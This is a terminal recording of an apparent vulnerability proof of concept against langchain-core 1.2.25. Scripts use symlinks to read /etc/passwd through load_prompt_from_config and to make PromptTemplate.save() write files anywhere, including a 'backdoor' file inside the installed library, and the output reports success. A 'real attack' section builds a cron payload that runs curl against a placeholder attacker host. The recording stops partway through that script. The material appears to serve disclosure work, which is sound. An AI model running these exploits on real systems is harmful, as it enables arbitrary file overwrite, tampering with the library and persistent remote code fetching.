[107.343808, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/71.0 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[107.3654, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m71.0/71.0 kB\u001b[0m \u001b[31m4.0 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[107.41737, "o", "Downloading urllib3-2.6.3-py3-none-any.whl (131 kB)\r\n\u001b[?25l"]
[107.42047, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/131.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[107.441636, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m131.6/131.6 kB\u001b[0m \u001b[31m7.0 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[107.492323, "o", "Downloading anyio-4.13.0-py3-none-any.whl (114 kB)"]
[107.504752, "o", "\r\n\u001b[?25l"]
[107.511604, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/114.4 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[107.533327, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m114.4/114.4 kB\u001b[0m \u001b[31m4.0 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[107.558409, "o", "Downloading h11-0.16.0-py3-none-any.whl (37 kB)\r\n"]
[107.750951, "o", "Installing collected packages: zstandard, xxhash, uuid-utils, urllib3, typing-extensions, tenacity, pyyaml, packaging, orjson, jsonpointer, idna, h11, charset_normalizer, certifi, annotated-types, typing-inspection, requests, pydantic-core, jsonpatch, httpcore, anyio, requests-toolbelt, pydantic, httpx, langsmith, langchain-core\r\n"]
[111.107534, "o", "Successfully installed annotated-types-0.7.0 anyio-4.13.0 certifi-2026.2.25 charset_normalizer-3.4.7 h11-0.16.0 httpcore-1.0.9 httpx-0.28.1 idna-3.11 jsonpatch-1.33 jsonpointer-3.1.1 langchain-core-1.2.25 langsmith-0.7.25 orjson-3.11.8 packaging-26.0 pydantic-2.12.5 pydantic-core-2.41.5 pyyaml-6.0.3 requests-2.33.1 requests-toolbelt-1.0.0 tenacity-9.1.4 typing-extensions-4.15.0 typing-inspection-0.4.2 urllib3-2.6.3 uuid-utils-0.14.1 xxhash-3.6.0 zstandard-0.25.0"]
[111.110956, "o", "\r\n\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\u001b[33m\r\n\u001b[0m"]
[111.873644, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[129.847996, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.346082, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.378387, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.41103, "o", "\r\n"]
[130.411982, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.444752, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.47848, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.510245, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.541991, "o", "\r\n"]
[130.544052, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.577947, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.615066, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.644701, "o", "\r\n\u001b[?2004l\r"]
[130.647318, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.679646, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.711049, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.742648, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[130.774684, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[131.097255, "o", "\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"           Inside Docker Container - LangChain v1.2.25\"\u001b[27m\r\n\r\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# First, let's verify our environment\"\u001b[27m\r\n\r\u001b[7mpython3 --version\u001b[27m\r\n\r\u001b[7mpython3 -c \"import langchain_core; print(f'LangChain-core version: {langchain_core.__version__}')\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7msleep 2\u001b[27m\r\n\r"]
[132.07134, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@eea9abbcbc61:/# echo \"====================================================================================\"\r\n\recho \"           Inside Docker Container - LangChain v1.2.25\"\r\n\recho \"====================================================================================\"\r\n\recho \"\"\r\n\recho \"# First, let's verify our environment\"\r\n\rpython3 --version\r\n\rpython3 -c \"import langchain_core; print(f'LangChain-core version: {langchain_core.__version__}')\"\r\n\recho \"\"\r\n\rsleep 2\r\n\r\u001b[A\r\n\u001b[?2004l\r====================================================================================\r\n           Inside Docker Container - LangChain v1.2.25\r\n====================================================================================\r\n\r\n# First, let's verify our environment\r\n"]
[132.079903, "o", "Python 3.12.3\r\n"]
[132.287642, "o", "LangChain-core version: 1.2.25\r\n"]
[132.325451, "o", "\r\n"]
[134.336023, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# \u001b[K"]
[137.385423, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[137.680959, "o", "\r\n"]
[137.681486, "o", "\u001b[?2004l\r"]
[137.68357, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[137.856048, "o", "\r\n\u001b[?2004l\r\u001b[?2004h"]
[137.858933, "o", "\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[140.642669, "o", "\u001b[7mecho \"# PART 1: The READ vulnerability (Mostly Fixed)\"\u001b[27m\r\n\r\u001b[7mecho \"# =============================================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# In v1.2.25, load_prompt_from_config() now has allow_dangerous_paths=False\"\u001b[27m\r\n\r\u001b[7mecho \"# This blocks reading sensitive files... let's test:\"\u001b[27m\r\n\r\n\r\u001b[7mcat << 'EOF' > test_read.py\u001b[27m\r\n\r\u001b[7mimport os\u001b[27m\r\n\r\u001b[7mfrom langchain_core.prompts.loading import load_prompt_from_config\u001b[27m\r\n\r\n\r\u001b[7mprint(\"Testing load_prompt_from_config() with allow_dangerous_paths=False (default)...\")\u001b[27m\r\n\r\n\r\u001b[7m# Create symlink to /etc/passwd\u001b[27m\r\n\r\u001b[7mos.symlink(\"/etc/passwd\", \"test_bypass.txt\")\u001b[27m\r\n\r\n\r\u001b[7mconfig = {\u001b[27m\r\n\r\u001b[7m    \"_type\": \"prompt\",\u001b[27m\r\n\r\u001b[7m    \"template_path\": \"test_bypass.txt\",\u001b[27m\r\n\r\u001b[7m    \"template_format\": \"f-string\",\u001b[27m\r\n\r\u001b[7m    \"input_variables\": []\u001b[27m\r\n\r\u001b[7m}\u001b[27m\r\n\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    # Default (allow_dangerous_paths=False)\u001b[27m\r\n\r\u001b[7m    result = load_prompt_from_config(config)\u001b[27m\r\n\r\u001b[7m    print(\"❌ FAIL: Can still read /etc/passwd!\")\u001b[27m\r\n\r\u001b[7mexcept ValueError as e:\u001b[27m\r\n\r\u001b[7m    print(f\"✅ GOOD: Blocked with error: {str(e)[:80]}...\")\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\nNow testing with allow_dangerous_paths=True...\")\u001b[27m\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    result = load_prompt_from_config(config, allow_dangerous_paths=True)\u001b[27m\r\n\r\u001b[7m    print(f\"✅ With allow_dangerous_paths=True: Can read /etc/passwd\")\u001b[27m\r\n\r\u001b[7m    print(f\"   First line: {result.template.split('\\\\n')[0]}\")\u001b[27m\r\n\r\u001b[7mexcept Exception as e:\u001b[27m\r\n\r\u001b[7m    print(f\"❌ Even with allow_dangerous_paths=True: {type(e).__name__}: {e}\")\u001b[27m\r\n\r\n\r\u001b[7m# Cleanup\u001b[27m\r\n\r\u001b[7mos.remove(\"test_bypass.txt\")\u001b[27m\r\n\r\u001b[7mEOF\u001b[27m\r\n\r\n\r\u001b[7mpython3 test_read.py\u001b[27m\r\n\r\u001b[7msleep 3\u001b[27m\r\n\r"]
[141.463719, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@eea9abbcbc61:/# echo \"# PART 1: The READ vulnerability (Mostly Fixed)\""]
[141.466353, "o", "\r\n\recho \"# =============================================\"\r\n\recho \"\"\r\n\recho \"# In v1.2.25, load_prompt_from_config() now has allow_dangerous_paths=False\"\r\n\recho \"# This blocks reading sensitive files... let's test:\"\r\n\r\n\rcat << 'EOF' > test_read.py\r\n\rimport os\r\n\rfrom langchain_core.prompts.loading import load_prompt_from_config\r\n\r\n\rprint(\"Testing load_prompt_from_config() with allow_dangerous_paths=False (default)...\")\r\n\r\n\r# Create symlink to /etc/passwd\r\n\ros.symlink(\"/etc/passwd\", \"test_bypass.txt\")\r\n\r\n\rconfig = {\r\n\r    \"_type\": \"prompt\",\r\n\r    \"template_path\": \"test_bypass.txt\",\r\n\r    \"template_format\": \"f-string\",\r\n\r    \"input_variables\": []\r\n\r}\r\n\r\n\rtry:\r\n\r    # Default (allow_dangerous_paths=False)\r\n\r    result = load_prompt_from_config(config)\r\n\r    print(\"❌ FAIL: Can still read /etc/passwd!\")\r\n\rexcept ValueError as e:\r\n\r    print(f\"✅ GOOD: Blocked with error: {str(e)[:80]}...\")\r\n\r\n\rprint(\"\\nNow testing with allow_dangerous_paths=True...\")\r\n\rtry:\r\n\r    result = load_prompt_from_config(config, allow_dangerous_paths=True)\r\n\r    print(f\"✅ With allow_dangerous_paths=True: Can read /etc/passwd\")\r\n\r    print(f\"   First line: {result.template.split('\\\\n')[0]}\")\r\n\rexcept Exception as e:\r\n\r    print(f\"❌ Even with allow_dangerous_paths=True: {type(e).__name__}: {e}\")\r\n\r\n\r# Cleanup\r\n\ros.remove(\"test_bypass.txt\")\r\n\rEOF\r\n\r\n\rpython3 test_read.py\r\n\rsleep 3\r\n\r\u001b[A\r\n\u001b[?2004l\r"]
[141.468563, "o", "# PART 1: The READ vulnerability (Mostly Fixed)\r\n# =============================================\r\n\r\n# In v1.2.25, load_prompt_from_config() now has allow_dangerous_paths=False\r\n# This blocks reading sensitive files... let's test:\r\n"]
[142.336565, "o", "Testing load_prompt_from_config() with allow_dangerous_paths=False (default)...\r\n"]
[142.339854, "o", "//test_read.py:18: LangChainDeprecationWarning: The function `load_prompt_from_config` was deprecated in LangChain 1.2.21 and will be removed in 2.0.0. Use `Use `dumpd`/`dumps` from `langchain_core.load` to serialize prompts and `load`/`loads` to deserialize them.` instead.\r\n  result = load_prompt_from_config(config)\r\n"]
[142.367153, "o", "✅ GOOD: Blocked with error: ...\r\n\r\nNow testing with allow_dangerous_paths=True...\r\nNo `_type` key found, defaulting to `prompt`.\r\n❌ Even with allow_dangerous_paths=True: ValidationError: 1 validation error for PromptTemplate\r\ntemplate\r\n  Field required [type=missing, input_value={'template_format': 'f-st..., 'input_variables': []}, input_type=dict]\r\n    For further information visit https://errors.pydantic.dev/2.12/v/missing\r\n"]
[145.572598, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# \u001b[K"]
[147.22634, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[147.724347, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[147.757532, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[147.788033, "o", "\r\n"]
[147.789769, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[147.822482, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[147.854526, "o", "\r\n"]
[147.856635, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[147.888568, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[147.918878, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[152.459503, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[152.615152, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[152.98742, "o", "echo \"\"\r\n\recho \"# PART 2: The WRITE vulnerability (STILL EXISTS!)\"\r\n\recho \"# ===============================================\"\r\n\recho \"\"\r\n\recho \"# The save() method doesn't have allow_dangerous_paths protection!\""]
[152.991348, "o", "\r\n\recho \"# Let me prove we can still write anywhere via symlinks...\"\r\n\r\n\rcat << 'EOF' > test_write.py\r\n\rimport os\r\n\rimport json\r\n\rfrom langchain_core.prompts import PromptTemplate\r\n\r\n\rprint(\"Testing PromptTemplate.save() vulnerability...\")\r\n\r\n\r# Create a simple prompt\r\n\rprompt = PromptTemplate.from_template(\"Malicious payload\")\r\n\r\n\rprint(\"\\n1. Testing arbitrary file write via .json symlink:\")\r\n\rtarget_file = \"/tmp/test_save_vuln.json\"\r\n\rsymlink_name = \"exploit.json\"\r\n\r\n\rtry:\r\n\r    os.symlink(target_file, symlink_name)\r\n\r    prompt.save(symlink_name)\r\n\r    print(f\"✅ SUCCESS: Wrote to {target_file} via symlink\")\r\n\r    \r\n\r    # Verify\r\n\r    if os.path.exists(target_file):\r\n\r        with open(target_file, 'r') as f:\r\n\r\u001b[7m            content = f.read()\u001b[27m\r\n\r\u001b[7m            if \"Malicious payload\" in content:\u001b[27m\r\n\r\u001b[7m                print(\"   ✓ Payload verified in target file\")\u001b[27m\r\n\r\u001b[7m        os.remove(target_file)\u001b[27m\r\n\r\u001b[7m        \u001b[27m\r\n\r\u001b[7mexcept Exception as e:\u001b[27m\r\n\r\u001b[7m    print(f\"❌ FAILED: {type(e).__name__}: {e}\")\u001b[27m\r\n\r\u001b[7mfinally:\u001b[27m\r\n\r\u001b[7m    if os.path.exists(symlink_name):\u001b[27m\r\n\r\u001b[7m        os.remove(symlink_name)\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\n2. Testing Scope Change - Writing to LangChain package:\")\u001b[27m\r\n\r\u001b[7mimport langchain_core\u001b[27m\r\n\r\u001b[7mlangchain_path = langchain_core.__path__[0]\u001b[27m\r\n\r\u001b[7mpackage_target = f\"{langchain_path}/injected_backdoor.json\"\u001b[27m\r\n\r\u001b[7mpackage_symlink = \"package_attack.json\"\u001b[27m\r\n\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    os.symlink(package_target, package_symlink)\u001b[27m\r\n\r\u001b[7m    prompt.save(package_symlink)\u001b[27m\r\n\r\u001b[7m    print(f\"✅ SCOPE CHANGE: Wrote to {package_target}\")\u001b[27m\r\n\r\u001b[7m    print(\"   This proves we can modify the library itself!\")\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    if os.path.exists(package_target):\u001b[27m\r\n\r\u001b[7m        os.remove(package_target)\u001b[27m\r\n\r\u001b[7m        \u001b[27m\r\u001b[7mexcept Exception as e:\u001b[27m\r\u001b[7m    print(f\"❌ Package write failed: {type(e).__name__}: {e}\")\u001b[27m\r\u001b[7mfinally:\u001b[27m\r\u001b[7m    if os.path.exists(package_symlink):\u001b[27m\r\u001b[7m        os.remove(package_symlink)\u001b[27m\r\u001b[7mprint(\"\\n3. Testing .yaml files too:\")\u001b[27m\r\u001b[7myaml_target = \"/tmp/test_yaml_vuln.yaml\"\u001b[27m\r\u001b[7myaml_symlink = \"exploit.yaml\"\u001b[27m\r\u001b[7mtry:\u001b[27m\r\u001b[7m    os.symlink(yaml_target, yaml_symlink)\u001b[27m\r\u001b[7m    prompt.save(yaml_symlink)\u001b[27m\r\u001b[7m    print(f\"✅ YAML write works: {yaml_target}\")\u001b[27m\r\u001b[7m    \u001b[27m\r\u001b[7m    if os.path.exists(yaml_target):\u001b[27m\r\u001b[7m        os.remove(yaml_target)\u001b[27m\r\u001b[7m        \u001b[27m\r\u001b[7mexcept Exception as e:\u001b[27m\r\u001b[7m    print(f\"❌ YAML failed: {type(e).__name__}: {e}\")\u001b[27m\r\u001b[7mfinally:\u001b[27m\r\u001b[7m    if os.path.exists(yaml_symlink):\u001b[27m\r\u001b[7m        os.remove(yaml_symlink)\u001b[27m\r\u001b[7mEOF\u001b[27m\r\u001b[7mpython3 test_write.py\u001b[27m\r\u001b[7msleep 3\u001b[27m\r"]
[153.618484, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A            content = f.read()\r\n\r            if \"Malicious payload\" in content:\r\n\r                print(\"   ✓ Payload verified in target file\")\r\n\r        os.remove(target_file)\r\n\r        \r\n\rexcept Exception as e:\r\n\r    print(f\"❌ FAILED: {type(e).__name__}: {e}\")\r\n\rfinally:\r\n\r    if os.path.exists(symlink_name):\r\n\r        os.remove(symlink_name)\r\n\r\n\rprint(\"\\n2. Testing Scope Change - Writing to LangChain package:\")\r\n\rimport langchain_core\r\n\rlangchain_path = langchain_core.__path__[0]\r\n\rpackage_target = f\"{langchain_path}/injected_backdoor.json\"\r\n\rpackage_symlink = \"package_attack.json\"\r\n\r\n\rtry:\r\n\r    os.symlink(package_target, package_symlink)\r\n\r    prompt.save(package_symlink)\r\n\r    print(f\"✅ SCOPE CHANGE: Wrote to {package_target}\")\r\n\r    print(\"   This proves we can modify the library itself!\")\r\n\r    \r\n\r    if os.path.exists(package_target):\r\n\r        os.remove(package_target)\r\n\r        \rexcept Exception as e:\r    print(f\"❌ Package write failed: {type(e).__name__}: {e}\")\rfinally:\r    if os.path.exists(package_symlink):\r        os.remove(package_symlink)\rprint(\"\\n3. Testing .yaml files too:\")\ryaml_target = \"/tmp/test_yaml_vuln.yaml\"\ryaml_symlink = \"exploit.yaml\"\rtry:\r    os.symlink(yaml_target, yaml_symlink)\r    prompt.save(yaml_symlink)\r    print(f\"✅ YAML write works: {yaml_target}\")\r    \r    if os.path.exists(yaml_target):\r        os.remove(yaml_target)\r        \rexcept Exception as e:\r    print(f\"❌ YAML failed: {type(e).__name__}: {e}\")\rfinally:\r    if os.path.exists(yaml_symlink):\r        os.remove(yaml_symlink)\rEOF\rpython3 test_write.py\rsleep 3\r\r\n\u001b[?2004l\r\r\n"]
[153.620046, "o", "bash: !: event not found\r\n# ===============================================\r\n\r\n# The save() method doesn't have allow_dangerous_paths protection!\r\n# Let me prove we can still write anywhere via symlinks...\r\n"]
[154.467047, "o", "Testing PromptTemplate.save() vulnerability...\r\n"]
[154.469859, "o", "\r\n1. Testing arbitrary file write via .json symlink:\r\n"]
[154.471674, "o", "//test_write.py:16: LangChainDeprecationWarning: The method `BasePromptTemplate.save` was deprecated in langchain-core 1.2.21 and will be removed in 2.0.0. Use `Use `dumpd`/`dumps` from `langchain_core.load` to serialize prompts and `load`/`loads` to deserialize them.` instead.\r\n  prompt.save(symlink_name)\r\n✅ SUCCESS: Wrote to /tmp/test_save_vuln.json via symlink\r\n   ✓ Payload verified in target file\r\n\r\n2. Testing Scope Change - Writing to LangChain package:\r\n✅ SCOPE CHANGE: Wrote to /usr/local/lib/python3.12/dist-packages/langchain_core/injected_backdoor.json\r\n   This proves we can modify the library itself!\r\n\r\n3. Testing .yaml files too:\r\n"]
[154.473461, "o", "✅ YAML write works: /tmp/test_yaml_vuln.yaml\r\n"]
[157.58695, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# \u001b[K"]
[160.811466, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[161.221389, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[161.379385, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[161.52699, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[161.682604, "o", "\r\n\u001b[?2004l\r"]
[161.68548, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[161.841213, "o", "\r\n\u001b[?2004l\r"]
[161.845418, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[167.68691, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[167.905648, "o", "\r\n\u001b[?2004l\r\u001b[?2004h"]
[167.908229, "o", "\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[168.084815, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[168.217107, "o", "\r\n\u001b[?2004l\r"]
[168.218834, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[168.348351, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[168.479506, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[168.780969, "o", "\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# PART 3: Real-World Attack Scenario\"\u001b[27m\r\n\r\u001b[7mecho \"# ==================================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# An attacker could:\"\u001b[27m\r\n\r\u001b[7mecho \"# 1. Write to cron directories for persistence\"\u001b[27m\r\n\r\u001b[7mecho \"# 2. Modify application configs\"\u001b[27m\r\n\r\u001b[7mecho \"# 3. Poison LangChain's own config files\"\u001b[27m\r\n\r\u001b[7mecho \"# 4. Create malformed JSON causing DoS\"\u001b[27m\r\n\r\n\r\u001b[7mcat << 'EOF' > real_attack.py\u001b[27m\r\n\r\u001b[7mimport os\u001b[27m\r\n\r\u001b[7mimport json\u001b[27m\r\n\r\u001b[7mfrom langchain_core.prompts import PromptTemplate\u001b[27m\r\n\r\n\r\u001b[7mprint(\"Real attack scenario: Writing to cron directory\")\u001b[27m\r\n"]
[168.783523, "o", "\r\u001b[7mprint(\"(Simulating - would need root permissions in real attack)\")\u001b[27m\r\n\r\n\r\u001b[7m# Simulate writing a cron job\u001b[27m\r\n\r\u001b[7mcron_content = {\u001b[27m\r\n\r\u001b[7m    \"attack\": \"Cron job injection via LangChain\",\u001b[27m\r\n\r\u001b[7m    \"command\": \"*/5 * * * * curl http://attacker.com/pwn\",\u001b[27m\r\n\r\u001b[7m    \"method\": \"LangChain save() symlink vulnerability\"\u001b[27m\r\n\r\u001b[7m}\u001b[27m\r\n\r\n\r\u001b[7mprompt = PromptTemplate.from_template(json.dumps(cron_content, indent=2))\u001b[27m\r\n\r\n\r\u001b[7m# Try to write to a test location\u001b[27m\r\n\r\u001b[7mtest_cron = \"/tmp/test_cron.json\"\u001b[27m\r\n\r\u001b[7msymlink = \"cron_attack.json\"\u001b[27m\r\n\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    os.symlink(test_cron, symlink)\u001b[27m\r\n\r\u001b[7m    prompt.save(symlink)\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    if os.path.exists(test_cron):\u001b[27m\r\n\r\u001b[7m        with open(test_cron, 'r') as f:\u001b[27m\r\n\r\u001b[7m            print(f\"✅ Cron payload written: {f.read()[:80]}...\")\u001b[27m\r\n\r\u001b[7m        os.remove(test_cron)\u001b[27m\r\n\r\u001b[7m        \u001b[27m\r\n\r\u001b[7mexcept Exception as e:\u001b[27m\r\n\r\u001b[7m    print(f\"❌ Cron attack simulation: {type(e).__name__}: {e}\")\u001b[27m\r\n\r\u001b[7mfinally:\u001b[27m\r\n\r\u001b[7m    if os.path.exists(symlink):\u001b[27m\r\n\r\u001b[7m        os.remove(symlink)\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\nThis demonstrates that save() can write ANY .json file ANYWHERE\")\u001b[27m\r\n\r\u001b[7mprint(\"No allow_dangerous_paths parameter, no path validation!\")\u001b[27m\r\n\r\u001b[7mEOF\u001b[27m\r\n\r\n\r\u001b[7mpython3 real_attack.py\u001b[27m\r\n\r\u001b[7msleep 3\u001b[27m\r\n\r"]
[169.286098, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@eea9abbcbc61:/# echo \"\"\r\n\recho \"# PART 3: Real-World Attack Scenario\"\r\n\recho \"# ==================================\"\r\n\recho \"\"\r\n\recho \"# An attacker could:\"\r\n\recho \"# 1. Write to cron directories for persistence\"\r\n\recho \"# 2. Modify application configs\"\r\n\recho \"# 3. Poison LangChain's own config files\"\r\n\recho \"# 4. Create malformed JSON causing DoS\"\r\n\r\n\rcat << 'EOF' > real_attack.py\r\n\rimport os\r\n\rimport json\r\n\rfrom langchain_core.prompts import PromptTemplate\r\n\r\n\rprint(\"Real attack scenario: Writing to cron directory\")\r\n\rprint(\"(Simulating - would need root permissions in real attack)\")\r\n\r\n\r# Simulate writing a cron job\r\n\rcron_content = {\r\n\r    \"attack\": \"Cron job injection via LangChain\",\r\n\r    \"command\": \"*/5 * * * * curl http://attacker.com/pwn\",\r\n\r    \"method\": \"LangChain save() symlink vulnerability\"\r\n\r}\r\n\r\n\rprompt = PromptTemplate.from_template(json.dumps(cron_content, indent=2))\r\n\r\n\r# Try to write to a test location"]
